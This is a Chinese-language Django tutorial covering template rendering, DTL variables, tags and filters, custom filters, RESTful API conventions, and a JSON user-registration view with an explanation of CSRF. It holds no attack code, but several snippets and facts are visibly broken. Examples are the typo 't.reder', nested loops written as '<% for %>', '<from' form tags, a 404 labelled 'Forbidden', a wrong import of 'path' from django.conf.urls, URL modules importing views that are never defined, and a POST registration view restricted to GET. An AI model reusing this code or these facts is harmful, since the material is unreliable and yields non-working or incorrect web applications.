注意:这里必须给出DIRS, 'APP_DIRS'为True,所以Djiango会搜索所有注册App的模板路径,但是还不能找到我们定义的index.html,会报错TemplateDoesNotExist。

模板渲染

模板页

新建index.html放在 templates 目录下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Django web 模板技术</title>
</head>
<body>
我是模板,数据是{{content}}
</body>
</html>

模板处理

2个步骤:

  1. 加载模板:模板是一个文件,需要从磁盘读取并加载。要将模板放置在指定的模板文件夹中
  2. 渲染:模板需要使用内容数据渲染,生成HTML文件内容
  3. 测试:修改blog/urls.py文件中的index函数。
def index(request:HttpRequest):
    from django.template import loader
    from django.template.backends.django import Template
    t:Template = loader.get_template("index.html") #加载器模块搜索模板并加载它
    print(t.origin, type(t)) #显示模板路径, 类型
    c = {"content":"www.xdd.com"} #字典数据
    text = t.reder(c) # 填空得到字符串
    print(type(text), text)
    return HttpResponse(text)

render快捷渲染函数

上面2个步骤代码编写繁琐,Django提供了对其的封装-------–—快捷函数render。

def render(
    request, template_name, context=None, content_type=None, status=None, using=None
):
    """
    Return an HttpResponse whose content is filled with the result of calling
    django.template.loader.render_to_string() with the passed arguments.
    """
    content = loader.render_to_string(template_name, context, request, using=using)
    return HttpResponse(content, content_type, status)
  • 返回HTTPResponse对象
  • template_name #模板名称
  • context 数据字典
  • render_to_string() 是其核心方法,其实就是拿数据替换HTML中的指定位置后返回一个字符串
from django.shortcuts import  render

def index(request:HttpRequest):
    """视图函数:请求进来返回响应"""
    return render(request,"index.html",{"content":"www.xdd.com"})

范例:

from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
from django.template.loader import get_template
from django.shortcuts import render
# HttpRequest是父类;WSGIRequest是子类

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):
    title = '标题测试'

    # 响应报文正文部分的字符串可以动态生成,也可以从文件中读取
    # 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
    # 动态生成就是在内存生成一个待返回给浏览器端的HTML的字符串
    context = {
        'title': title,
        'content': '这是正文内容',
        'p1': 123,
        'p2': 'xyz'
    }
    # 加载模板 --> 填空拼接字符串为HTML --> 封装HTTPResponse对象返回
    # from django.template.backends.django import Template
    # t:Template = get_template('index.html')
    # print(t.origin)
    # result = t.render(context)  #填空,返回的结果是那个HTML的大字符串
    # print(type(result), result)
    # return HttpResponse(result)
    return render(request, 'index.html', context, status=201)

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]

DTL语法(模板语法)

变量

  • 语法: {{ variable }}
  • 变量名由字母、数字、下划线、点号组成。
  • 点号使用的时候,例如foo.bar,遵循以下顺序:
    1. 字典查找,例如 foo["bar"], 把foo当做字典,bar当做key
    2. 属性或方法的查找,例如 foo.bar, 把foo当做对象,bar当做属性或方法
    3. 数字索引查找,例如 foo[bar] ,把foo当做列表一样,使用索引访问

示例: 修改 blog/urls.py 文件中的index函数

from django.shortcuts import  render
import datetime

def index(request:HttpRequest):
    """视图函数:请求进来返回响应"""
    my_dict = {
        "a":100,
        "b":0,
        "c":list(range(10,20)),
        "d":'abc',
        "date":datetime.datetime.now()
    }
    context = {"content":"www.xdd.com","my_dict":my_dict}
    return render(request,"index.html",context)
  • 如果 变量未能找到,则缺省插入空字符串
  • 模板中调用方法,不能加小括号 ,自然也不能传递参数。
  • {{my_dict.a}} 复合第一条,当做字典的key就可以访问了
  • {{my_dict.keys}} 正确写法。错误写法 {{my_dict.keys()}} 。符合第二条,当做my_dict对象的属性或方法。
  • {{ my_dict.c.0 }} 符合第三条

范例:

# blog/urls.py
from django.contrib import admin
from django.urls import path, re_path #url
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.core.handlers.wsgi import WSGIRequest
from django.template.loader import get_template
from django.shortcuts import render
# HttpRequest是父类;WSGIRequest是子类

from datetime import datetime

# view函数, 根据请求,返回相应的结果
# function-based view => FBV
# 要求必须提供至少一个参数,第一个参数解决request注入
def index(request:WSGIRequest):

    # 响应报文正文部分的字符串可以动态生成,也可以从文件中读取
    # 本质上都要一个字符串,也就是说只能给HttpResponse构造函数提供内容字符串就可以了
    # 动态生成就是在内存生成一个待返回给浏览器端的HTML的字符串
    context = {
        'a':100,
        'b':0,
        'c':list(range(10,20)),
        'd':dict(zip('abcde','ABCDE')), # d.e 没找到 d['e'] 没找到 d[e]
        's':'abcde',
        'date':datetime.now(),
    }
    return render(request, 'index.html', {'mydict': context} , status=201)

urlpatterns = [
    path('admin/', admin.site.urls), # /admin/ 路径对应,多级url处理
    path('', index), #  '/' => index 函数, request实参
    # path('index', index), # '/index' OK ; '/index/' Wrong
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
]
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>第一个模板文件</title>
</head>
<body>
{{ mydict.a }} <br> 
{{mydict.c}} | {{ mydict.d }}<hr>
{{ mydict.d.e }} {{ mydict.c.0 }}<br>
{{ mydict.d.keys }} <br>
{{ mydict.d.values }} <br>
{{ mydict.d.items }} <br>
{{ mydict.s.1 }} [{{ mydict.t.0 }}]
</body>
</html>

模板标签

标签采用 {% tag %} 语法

if/else标签

基本语法如下:

{% if condition %}
    ... display
{% endif %}

或者

{% if condition %}
    ... display 1
{% elif condition2 %}
    ... display 2
{% else %}
    ... display 3
{% endif %}

条件也支持and、or、not

注意,因为这些标签是断开的,所以不能像Python一样使用缩进就可以表示出来,必须有个结束标签,例如endif、endfor。

for标签

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Django web 模板技术</title>
</head>
<body>
我是模板,数据是{{content}}

<ul>
{% for athlete in athlete_list  %}
    <li>{{ athlete.name }}</li>
{% endfor %}
</ul>

<ul>
{% for person in person_list %}
    <li> {{ person.name }}</li>
{% endfor %}
</ul>
</body>
</html>
变量 说明
forloop.counter 当前循环从1开始的计数
forloop.counter0 当前循环从0开始的计数
forloop.revcounter 从循环的末尾开始倒计数1
forloop.revcounter0 从循环的末尾开始倒计数到0
forloop.first 第一次进入循环
forloop.last 最后一次进入循环
forloop.parentloop 循环嵌套时,内层当前循环的外层循环

给标签增加一个reversed使得该列表被反向迭代:

{% for athlete in athlete_list reversed %}
...
{% empty %}
... 如果被迭代的列表是空的或者不存在,执行empty
{% endfor %}

范例

#blog/urls.py
...
def index(request:HttpRequest):

    context = {
        'a':100,
        'b':0,
        'c':list(range(10,20)),
        'd':dict(zip('abcde','ABCDE')), # d.e 没找到 d['e'] 没找到 d[e]
        's':'abcde',
        'date':datetime.now(),
    }
    return render(request, 'index.html', {'mydict':context}, status=201)
...
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>第一个模板文件</title>
</head>
<body>
{{ mydict.a }} <br> 
{{mydict.c}} | {{ mydict.d }}<hr>
{{ mydict.d.e }} {{ mydict.c.0 }}<br>
{{ mydict.d.keys }} <br>
{{ mydict.d.values }} <br>
{{ mydict.d.items }} <br>
{{ mydict.s.1 }} [{{ mydict.t.0 }}]
<hr>

<style>
    ul .ulred{color:red}
    ul .ulgreen{color:green}
</style>
<ul>
    {% for x in mydict.c  reversed %}
        <li>{{ forloop.counter }} - {{ forloop.counter0 }} - 
            {{ forloop.revcounter }} - {{ forloop.revcounter0 }}
            {{ x }}<br></li>
    {% empty %}
    <li>empty空</li>
    {% endfor %}
</ul>
<hr> <!--字典遍历-->
{% for k,v in mydict.d.items %}
{{ k }} {{ v }} <br>
{% endfor%}
</body>
</html>
img_20250616_112911.png

可以嵌套使用{% for %}标签:

{% for athlete in athlete_list %}
    <h1>{{ athlete.name }}</h1>
    <ul>
    <% for sport in athlete.sports_played %>
        <li>{{ sport }}</li>
    <% endfor %>
    </ul>
{% endfor %}

ifequel/ifnotequal标签

  • {% ifequal %}标签比较两个值,当他们相等时,显示在{% ifequal %}和{% endifequal %}之中所有的值。下面的例子比较两个模板变量user和currentuser:
{% ifequal user currentuser %}
    <h1>Welcome!</h1>
{% endifequal %}
  • 和{% if %}类似,{% ifequal %}支持可选的{% else %}标签:
{% ifequal section 'sitenews' %}
    <h1>Site News</h1>
{% else %}
    <h1>No News Here</h1>
{% endifequal %}

其他标签

  • csrf_token用于跨站请求伪造保护,防止跨站攻击的。{% csrf_token %}
    • header头增加了set-cookie
    • 正文增加了隐藏表单选项

附加–Pycharm模板自定义

  1. 第一步:Settings–>Editor–>Live Templates
  2. 第二步

    如 for

    • Abbreviation: for
    • Template text

      {% for $END$%}
      {% endfor %}
      
  3. 第三步
    • Define: html 应用在html中
    • Option: Expand with: Tab 触发

注释标签

  • 单行注释 {# #}
  • 多行注释 {% comment %}... {% endcomment %}
{# 这是一个注释 #}

{% comment %}
这是多行注释
{% endcomment %}

过滤器

模板过滤器可以在遍历被显示前修改它。

语法 {{ 变量|过滤器}}

  1. 过滤器使用管道字符 | ,例如 {{ name|lower}} , {{ name }} 变量被过滤器lower处理后,文档大写转换文本为小写。
  2. 过滤管道可以被*套接*,一个过滤器管道的输出又可以作为下一个管道的输入。
    • 例如 {{ my_list|first|upper }} ,将列表第一个元素并将其转化为大写。
  3. 过滤器传参
    • 有些过滤器可以传递参数,过滤器的参数跟随冒号之后并且总是以双引号包含。
    • 例如:
      1. {{bio|truncatewords:"30"}},截取显示变量bio的前30个词。
      2. {{ my_list|join:"," }},将my_list的所有元素使用=,=逗号连接起来

其他过滤器

过滤器 说明 举例
cut 切掉字符串中的指定字符 {{ value | cut:"b"}}
lower 转换为小写  
upper 转换为大写  
truncatewords 指定的长度截取字符串 {{ bio | truncatewords:"30"}}
join 对序列拼接 {{ d.e | join:"//"}}
first取序列第一个元素    
last 取序列最后元素  
yesno 变量可以是True、False、None {{value | yesno:"yeah,no,maybe"}}
  yesno的参数给定逗号分隔的三个值,  
  返回3个值中的一个。True对应第一个  
  False对应第二个  
  None对应第三个  
  如果参数只有2个,None等效False处理  
add 加法,参数是负数就是减法 数字加{{value | add:"100"}} 列表合并{{mylist | add:newlist}}
divisibleby 能否被整除 {{value | divisibleby:"3" }}能被3整除返回True
addslashes 在反斜杠、单引号或者双引号前面加上反斜杠 {{value | addslashes }}
length 返回变量的长度 {% if my_list |} length >1 %}
default 变量等价False则使用缺省值 {{value | default:"nothing"}}
default_if_none 变量为None使用缺省值 {{value | default_if_none:"nothing"}}
date 格式化date或者datetime对象 实例:{{my_dict.date | date:'Y n j'}}
    Y 2000年, n 1-12月, j 1-31日
#urls.py
def index(request:WSGIRequest):
    context = {
        'a':100,
        'a1':None,
        'b':0,
        'c':list(range(10,20)),
        'd':dict(zip('abcde','ABCDE')), # d.e 没找到 d['e'] 没找到 d[e]
        's':'abcde',
        's1':'a  b c',
        'c1':['a', 'b', 'ccc'],
        'date':datetime.now(),
    }
    return render(request, 'index.html', {'mydict': context} , status=201)


#index.html
{{  mydict.a | add:'-20' }}
{{ mydict.s |add:'xyz' }}
{{ mydict.s |length|add:1000 }}
{{ mydict.s |join:','|truncatechars:5|upper }}<br>
{{ mydict.s |join:'.'|cut:'.' }}
{{ mydict.s |join:'.'|cut:'c' }}
{{ mydict.s1 |cut:' ' }}

{{ mydict.s |join:'<br>' }} <br>
{{ mydict.s |first }}
{{ mydict.s.0 }}
{{ mydict.c |last }}
{{ mydict.c }}
{{ mydict.c |length|add:-3 }} ***
<hr>
{{ mydict.c| add:mydict.c1 }}
<hr>
{{ mydict.b|yesno:'1,2' }}
<br>
{{ mydict.c1|length|divisibleby:3|yesno:'can,cannot' }}
{{ mydict.a1|default:'缺省值'}}
{{ mydict.a1|default_if_none:'缺省值'}}
<hr>
{{ mydict.date }}
{{ mydict.date|date:'Y' }}
{{ mydict.date|date:'Y-m-d H:i:s' }}

#页面结果
80 abcdexyz 1005 A,B,…
abcde a.b..d.e abc a
b
c
d
e
a a 19 [10, 11, 12, 13, 14, 15, 16, 17, 18, 19] 7 ***
[10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 'a', 'b', 'ccc']
2
can 缺省值 缺省值
June 16, 2025, 5:22 p.m. 2025 2025-06-16 17:22:14

模板练习

1、奇偶行列表输出

使用下面字典my_dict的c的列表,在模板网页中列表ul输出多行数据

  • 要求奇偶行颜色不同
  • 每行有行号(从1开始)
  • 列表中所有数据都增大100
from django.http import HttpResponse,HttpRequest,JsonResponse
from django.template import loader
from django.shortcuts import  render
import datetime

def index(request:HttpRequest):
    """视图函数:请求进来返回响应"""
    mydict = {
        "a":100,
        "b":0,
        "c":list(range(1,10)),
        "d":'abc',
        "date":datetime.datetime.now(),
        'matrix':[
            "{}*{}={}".format(i,j, i*j)
            for i in range(1,10)
            for j in range(1,10)
        ]
       }
    context = {"content":"www.xxx.com","mydict":mydict}
    return render(request,"index.html",context)
  • 模板页面
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Django web 模板技术</title>
</head>
<body>
<ul>
    {% for line in mydict.c %}
    <li style='color:{{forloop.counter|divisibleby:"2"|yesno:"red,green"}}'>
        <span class="">{{line|add:100}} </span>
    </li>
    {%endfor%}
</ul>
</body>
</html>

2、打印九九方阵, 自定义模板一些使用方法

1*1=1 1*2=2 ... 1*9=9
...
9*1=9 9*2=18.. 9*9=81

把上面所有的数学表达式放到HTML表格对应的格子中。如果可以,请实现奇偶行颜色不同。

创建模板tag

user/
    urls.py
    views.py
    templates/
        filter.html
    templatetags/
        __init__.py
        myfilters.py

user/templatetags/myfilters.py

#user/templatetags/myfilters.py
from django import template

register = template.Library()

@register.filter(name="multiply") # 使用装饰器注册 
def multiply(a, b): #只能1到2个参数
    return a*b

user/urls.py

# user/urls.py
from django.urls import path
from .views import reg, user_login, user_logout, get_captcha, test_filter

urlpatterns = [
    path('login', user_login, name='userlogin'),
    path('tf', test_filter), # /users/tf
    path('<int:id>', get_user), # /users/2
]

user/views.py

#user/views.py
...
def test_filter(request):
    return render(request, 'filter.html', {'loop':[1,2,3,4,5,6,7,8,9]})

from django.shortcuts import reverse
def get_user(request, id):
    x = reverse('userlogin') # 拿到url
    print(x, type(x), '+++++++++++')
    return render(request, 'filter.html', {'loop':[1,2,3,4,5,6,7,8,9], 'id':id, 'login_url':x})

定义模板user/templates/filter.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Django web 模板技术</title>
</head>
<body>
<a href="{% url 'userlogin' %}">登录</a><br>
{{ login_url }}
<br>
<span>你的id是{{id}}!!</span>

<h3>2、2层循环实现 b.自定义(不推荐,更应该在python代码中完成)</h3>
{% load myfilters %}

+++{{ loop.0|multiply:2}}+++

<table border="1">
    {% for i in loop %}
    <tr>
        {% for j in loop %}
        <td>{{ i }}*{{ j }}={{i|multiply:j}}</td>
        {% endfor %}
    </tr>
    {% endfor %}
</table>

<h4>奇偶行变化</h4>
<table border="1">
    {% for i in loop %}
    <!--<tr style="color:{{ forloop.counter|divisibleby:2|yesno:'red,green' }}">-->
    <tr style="color:{% cycle 'red' 'green' 'blue' %}"> <!--滚动颜色-->
        {% for j in loop %}
        <!--<td>{{ i }}*{{ j }}={{i|multiply:j}}</td>-->
        <td>{{ forloop.parentloop.counter }}*{{ forloop.counter }}={{i|multiply:j}}</td> <!--parentloop 上层循环-->
        {% endfor %}
    </tr>
    {% endfor %}
</table>


<h3>2、2层循环实现 a.widthratio</h3>
<table border="1">
    {% for i in loop %}
    <tr>
        {% for j in loop %}
        <td>{{ i }}*{{ j }}={% widthratio i 1 j %}</td>
        {% endfor %}
    </tr>
    {% endfor %}
</table>

<!--
<h3>1、一层循环实现</h3>
<table border="1">

        {% for x in mydict.matrix %}
        {% if forloop.counter0|divisibleby:9 %}
        <tr>
        {% endif %}
        <td>{{ x }}</td>
        {% if forloop.counter|divisibleby:9 %}
        </tr>
        {% endif %}
        {% endfor %}
    </tr>
</table>
-->
</body>
</html>

访问 http://localhost:8000/users/tf 观察效果

访问 http://localhost:8000/users/134 观察效果

参考:

Restful-API设计

  • REST(Representational State Transfer),表现层状态转移。
  • 它首次出现在2000年Roy Fielding的博士论文中,Roy Fielding是HTTP规范的主要编写者之一。
  • 表现层是资源的表现层,对于网络中的资源就需要URI(Uniform Resource Identifier)来指向。REST指的是资源的状态变化。

注:RESTFul没有标准。

1.协议

使用HTTP或者HTTPS。对外若有安全性要求,可以使用HTTPS。但是内部服务间调用可以使用HTTP或HTTPS。

2.HTTP方法

HTTP请求中的方法表示执行的 动作

常用方法(动词) 说明
GET 获取资源
POST 创建新的资源
PUT 更新资源
PATCH 部分更新资源
DELETE 删除资源

3.使用名称

URL指向 资源 ,在URL路径的描述中,只需要出现名称,而不要出现动词。动词由HTTP方法提供。

不要单复数混用,建议名称使用复数。

Restful的核心是资源,URL应该指向资源,所以应该是使用名称表达式,而不是动词表达。

方法 路径 说明
GET /posts 返回所有文章
GET /posts/10 返回id为10的文章
POST /posts 创建新的文章
PUT /posts/10 更新id为10的文章
DELETE /posts/10 删除id为10的文章
PATCH /posts/10 部分更新id为10的文章数据

不要出现如下的访问路径

#下列方式不好,出现名词和动作混搭
/getAllPosts
/addPost
/updatePost
/delPost

GET方法只是获取资源,而不是改变资源状态。改变资源请使用POST,PUT,DELETE等方法。

例如:使用 GET /posts/10 就可以获取资源了,但是却使用 Get /posts/10/delGET /posts/10?v=del ,本意是想删除。但这样不好,GET方法请求只为获取资源,不要改变资源状态。

子资源的访问

方法 路径Endpoint 说明
GET /posts/10/authors 返回id为10的文章的所有作者
GET /posts/10/authors/8 返回id为10的文章的作者中id为8的

4.集合功能

  • 过滤Filtering

    指定过滤条件 GET /posts?tag=python

  • 排序Sorting

    指定排序条件。有很多种设计风格,例如使用+表示asc,-表示desc。 GET /posts?sort=+title,-id 或者 GET /posts?sort=title_asc,id_desc

  • 分页Pagination

    一般情况下,查询返回的记录数非常多,必须分页。 GET /posts?page=58&size=20

5.状态码

使用HTTP响应的状态码表示动作的成功与否。

2xx表示用户请求服务端成功的处理;4xx表示用户请求的错误;5xx表示服务器端出错了。

Status Code 说明 Method 说明
200 OK GET 成功获取资源
201 CREATED POST,PUT,PATCH 成功创建或修改
204 NO CONTENT DELETE 成功删除资源
400 Bad Request ALL 请求中有错误
      例如:GET时参数有问题,PUT时提交的数据错误等
401 Unauthorized ALL 权限未通过认证
403 Forbidden ALL 有无权限都禁止访问该资源
404 Forbidden ALL 请求资源不存在
405 Method Not Allowed ALL 方法不允许
500 internal Server Error ALL 服务器端错误

详细状态码参考https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

6.错误处理

在Restful API设计中,错误处理也非常重要。单单从无状态码中无法详尽描述错误的信息。

  1. 返回消息

    {error:"user NOT Found"}
    
  2. 从错误消息中了解到错误号、错误信息、错误描述等信息。甚至更详细的信息可以通过code查阅文档

    {
        "code":10056,
        "message":"Invalid ID",
        "description":"More details"
    }
    

    code 为 0 表示无错误。非0表示有错误,就要看 message 中的错误描述了。

7.版本

在较大项目开发时,由于业务升级,需要对接口调用做出改动,例如请求参数、返回状态码、json数据发生变化等。如果使用同一套接口,在原有接口上直接修改会导致原有调用者调用出问题。解决方法:

  1. 完全兼容原有接口,虽然这样做可以,但是很难做到所有接口的完全兼容设计。实在不行的,老的接口保留不动,建立新的API接口以供调用(小规模场景)
  2. 对已经发布使用的接口规定版本号访问。新增的、改进的、删除的API重新发布新的版本。项目开发时,指定版本和接口即可。老项目可以不必升级到这个新版本。(大规模)

强烈要求使用版本、版本号使用简单数字,例如v2。

2种风格

  • http://api.xdd.com/v1/posts/10 这种风格会跨域,适合较大的项目
  • http://www.xdd.com/api/v1/posts/10

8. 返回结果

方法 路径 说明
GET /posts 返回所有文章的列表
GET /posts/10 返回id为10的文章对象
POST /posts 创建更新的文章并返回这个对象
PUT /posts/10 更新id为10的文章并返回这个对象
DELETE /posts/10 删除id为10的文章返回一个空对象
PATCH /posts/10 部分更新id为10的文章数据并返回这个对象

返回数据一律采用JSON格式

注册接口设计和实现

  • 提供用户注册处理
  • 提供用户登录处理
  • 提供路由配置

用户注册接口设计

注册功能

  • 前端POST users 带上数据,放到后台服务程序,路由,映射给view函数处理,提交到数据库。
  • 返回JsonResponse json数据到浏览器端
  • 注册成功,
    • 方案1 直接登录;
    • 方案2 返回登录页;
    • 方案3 返回登录页,但需要邮箱激活。

接收用户通过Post方法提交的注册信息,提交的数据是JSON格式数据。

检查用户名是否存在与数据库表中,如果存在返回错误号。如果不存在,将用户提交的数据存入表中。

整个过程都采用AJAX异步过程,用户提交JSON数据,服务端获取数据后处理,返回JSON。

POST /users/ 创建用户

请求体 application/json
{
    "password":"string",
    "username":"string",
    "email":"string"
}

响应
201 创建成功
200 请求数据错误,返回错误号和描述

注意:我们采用自定义状态码,返回状态码可以200,主要还是看返回json中错误码来确定。

路由配置

为了避免项目中的urls.py条目过多,也为了让应用自己管理路由,采用多级路由

# blog/urls.py文件
from django.urls import path, include

urlpatterns = [
    path('admin/', admin.site.urls),
    path('',index),
    #path('index',index), # index 都可以匹配;index/不能匹配
    path('index/',index), # index index/ 都可以匹配;index/a不能匹配
    path('test/<username>/<int:id>', test), # /test/tom/2 实参注入
    path('users/',include("user.urls")),  #对/users/xxx的访问在user.urls.py中设置
]
# path 第一个参数字符串 --> regexp; 第二个参数  函数、include返回的结果

include函数参数写 应用.路由模块 ,返回元组。

path函数第二个参数可以是可调用对象,或是无组或列表。

# 新建user/uls.py
from django.conf.urls import path, include
from .views import reg

# 要去掉前缀/users
urlpatterns = [
    path('',reg), #/users/
]

在 user/views.py 中编写 视图函数reg

# 在 user/views.py 文件中添加reg方法
from django.shortcuts import render
from django.http import HttpResponse,HttpRequest

def reg(request:HttpRequest):
    return HttpResponse("user.reg")

浏览器中输入 http://127.0.0.1:8000/users/ 测试(这是GET请求),可以看到响应的数据。下面开始完善视图函数。

测试JSON数据

使用POST方法,提交数据类型为application/json,json字符串要使用 双引号

这个数据是注册用的,由客户端提交。

数据提交模板为:

{
    "username":"xdd",
    "password":"abc",
    "email":"[email protected]"
}
curl --location 'http://127.0.0.1:8000/users/' \
--header 'Content-Type: application/json' \
--data-raw '{
    "username":"xdd",
    "password":"abc",
    "email":"[email protected]"
}
'

也可以使用Postman软件测试。返回403

  • Body –> raw 填写json内容
  • Body –> JSON

403原因

  • settings.py中 'django.middleware.csrf.CsrfViewMiddleware'
    • 如果你使用post方法提交的时候要求从安全角度考虑,必须提供csrftoken进行验证,否则该中间件拒绝你的请求。403

CSRF处理**

在Post数据的时候,发现出现了下面的提示

Forbidden (403)
CSRF verification failed. Request aborted.

原因: 默认Django CsrfViewMiddleware中间件会对所有POST方法提交的信息做CSRF校验

CSRF或XSRF(Cross-site Request Forgery),即跨站请求伪造。它也被称为:one click attack/session riding。是一种对网站的恶意利用。它伪造成来自受信任用户发起的请求,难以防范。

原理:

  1. 用户登录某网站A完成登录认证,网站返回敏感信息的Cookie,即使是会话级的Cookie
  2. 用户没有关闭浏览器,或认证的Cookie一段时间内不过期还持久化了,用户就访问攻击网站B
  3. 攻击网站B看似一切正常,但是某些页面里面有一些隐藏运行的代码,或者诱骗用户操作的按钮等
  4. 这些代码一旦运行就是悄悄地向网站A发起特殊请求,由于网站A的Cookie还有效,且访问的是网站A,则其Cookie就可以一并发给网站A
  5. 网站A看到这些Cookie就只能认为是登录用户发起的合理合法请求,就会执行

CSRF解决

  1. 关闭CSRF中间件(不推荐)

    #blog/settings.py
    MIDDLEWARE = [
        'django.middleware.security.SecurityMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.common.CommonMiddleware',
        # 'django.middleware.csrf.CsrfViewMiddleware', #注释掉
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.middleware.clickjacking.XFrameOptionsMiddleware',
    ]
    
  2. csrftoken验证
    • 在表单POST提交时,需要发给服务器一个csrf_token
    • 模板中的表单Form中增加 {% csrf_token %} ,它返回到了浏览器端就会为cookie增加csrftoken字段,还会在表单中增加一个名为csrfiddlewaretoken隐藏控件

      <from action="", method="post">
        <input type='hidden', name='csrfmiddlewaretoken', value="xxxx">
        <input type='submit', value='提交'
      </from>
      
    • POST提交表单数据时,需要将csrfmiddlewaretoken一并提交,Cookie中的csrf_token也一并会提交,最终在中间件中比较,相符通过,不相符就看到上面的403提示
  3. 双cookie验证
    • 访问本站先获得csrftoken的cookie
    • 如果使用AJAX进行POST,需要在每一次请求Header中增加自定义字段X-CSRFTOKEN,其值来自cookie中获取的csrftoken值
    • 在服务端比较cookie和X-CSRFTOKEN中的csrftoken,相符通过

现在没有前端代码,为了测试方便,可以选择第一种方法先禁用中间件,测试完成后开启。

JSON数据处理

simplejson标准库方便好用,功能强大。

pip install simplejson

浏览器端提交的数据放在了请求对象的body中,需要使用simplejson解析,解析的方式同Json模块,但是simplejson更方便。

错误处理

Django中有很多异常类,定义在django.http下,这些类都继承自HttpResponse。

#user/views.py文件

from django.http import HttpResponse,HttpRequest,HttpResponseBadRequest,JsonResponse
import simplejson

def reg(request:HttpRequest):
    print(request.POST)
    print(request.body)
    # print("- " * 30)
    try:
        payload = simplejson.loads(request.body)
        email = payload['email']
        username = payload['username']
        password = payload["password"]
        print(email,username,password)
        return JsonResponse({},status=201) #创建成功返回201
    except Exception as e: #有任何异常,都返回
        print(e)
        return HttpResponseBadRequest() #这里返回实例,这不是异常类

将上面代码增加邮箱检查、用户信息保存功能,就要用到Django的模型操作。

本次采用Restful实践的设计,采用返回错误状态码+JSON错误信息方式。

但是,因为客户端采用了axios的js库,如果返回400状态码,将不能提取到返回的错误信息。

所以,采用返回200状态码+Json,但Json中通过code大于0表示错误,提供msg表示错误描述。

服务端生成"错误描述"提供给客户端,错误信息编写成常量调用。

也可以在前端代码中生成错误号和错误描述配置信息,服务器端返回特定错误号,就行了。

项目根目录下创建一个模块messages.py

class Messages:
    INVALID_USERNAME_OR_PASSWORD = {'code':1, 'msg':'用户名或密码错误'}
    BAD_REQUEST = {'code':2, 'msg':'请求信息错误'}
    USER_EXISTS = {'code':3, 'msg':'用户已存在'}
    NOT_FOUND = {'code':4, 'msg':'资源不存在'}

有可能用email登录,那就必须保证它是唯一的。

ALTER TABLE `blog`.`auth_user` 
MODIFY COLUMN `email` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL AFTER `last_name`,
ADD UNIQUE INDEX(`email`)

范例:

#user/urls.py
from django.urls import path
from .views import reg

urlpatterns = [
    path('', reg) # reg POST /users/
]
#user/views.py
from django.shortcuts import render, HttpResponse
from django.http import HttpRequest, HttpResponseBadRequest, JsonResponse
from django.contrib.auth.models import User
import simplejson
from messages import Messages
# from django.core.handlers.wsgi import WSGIRequest

# Create your views here.
def reg(request:HttpRequest):
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

测试

curl --location 'http://127.0.0.1:8000/users/' \
--header 'Content-Type: application/json' \
--data-raw '{
    "username":"abc",
    "password":"abc",
    "email":"[email protected]"
}
'

请求方法限定view装饰器

注册、登录函数都是只支持POST方法,可以在视图函数内部自己判断,也可以使用官方提供的装饰器指定方法。

自定义

from django.shortcuts import render, HttpResponse
from django.http import HttpRequest, HttpResponseBadRequest, JsonResponse
from django.contrib.auth.models import User
import simplejson
from messages import Messages
# from django.core.handlers.wsgi import WSGIRequest

def required_methods(methods):
    def method(viewfunc):
        def wrapper(request, *args, **kwargs):
            if request.method.lower() in methods:
                ret = viewfunc(request, *args, **kwargs)
                return ret
            else:
                return JsonResponse({}, status=405)
        return wrapper
    return method

method_get = required_methods(['get'])

#@required_methods(['get', 'post'])
@method_get
def reg(request:HttpRequest):
    # if request.method.lower() == 'post': pass
    print(request.path)
    print(request.GET)  # 查询字符串
    print(request.POST) # 表单提交
    print(request.method)
    print(request.body)
    print(request.content_type) #application/json
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

官方提供

from django.shortcuts import render, HttpResponse
from django.http import HttpRequest, HttpResponseBadRequest, JsonResponse
from django.contrib.auth.models import User
from django.views.decorators.http import require_POST, require_GET, require_http_methods
import simplejson
